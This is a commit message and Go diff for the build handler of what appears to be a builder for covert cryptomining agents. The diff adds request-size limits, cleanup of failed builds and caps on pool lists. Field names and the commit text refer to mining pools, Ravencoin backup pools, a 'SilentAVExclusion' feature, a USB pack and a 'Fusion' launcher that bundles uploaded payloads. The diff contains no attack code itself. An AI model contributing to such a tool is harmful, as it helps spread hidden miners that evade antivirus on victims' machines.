Release validation: tests green, USB pack, fleet UX and API hardening.

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.

server/internal/builder/handler.go

@@ -317,6 +317,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 			file.Close()
 		}
 	} else {
+		r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds
 		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
 			writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
 			return
@@ -529,17 +530,24 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
 	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
 	agentDir := filepath.Join(buildDir, "agent")
 
+	// cleanupBuild removes the build directory on any error path to avoid
+	// accumulating partial builds (which may contain uploaded payloads or
+	// a copy of the agent source tree).
+	cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
+
 	if err := os.MkdirAll(agentDir, 0755); err != nil {
 		return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
 	}
 
 	if err := h.copyAgentSource(agentDir); err != nil {
+		cleanupBuild()
 		log.Printf("Failed to copy agent source: %v", err)
 		return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 
 	configDir := filepath.Join(agentDir, "config")
 	if err := os.MkdirAll(configDir, 0755); err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
 	}
 
@@ -547,6 +555,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
 	p := platforms[0]
 	outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled)
 	if err != nil {
+		cleanupBuild()
 		log.Printf("Build failed: %v", err)
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 	}
@@ -558,6 +567,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
 
 	uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req)
 	if err != nil {
+		cleanupBuild()
 		return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 
@@ -570,6 +580,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
 		var err error
 		fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req)
 		if err != nil {
+			cleanupBuild()
 			return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 		}
 		finalPath = fusionRes.LauncherPath
@@ -850,6 +861,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 		}
 		req.OutputDir = clean
 	}
+	// Cap slice lengths to prevent huge generated source files.
+	const maxBackupPools = 10
+	if len(req.BackupServerURLs) > maxBackupPools {
+		req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools]
+	}
+	if len(req.BackupPools) > maxBackupPools {
+		req.BackupPools = req.BackupPools[:maxBackupPools]
+	}
+	if len(req.RVNBackupPools) > maxBackupPools {
+		req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools]
+	}
+
 	if req.Threads <= 0 {
 		req.Threads = 4
 	}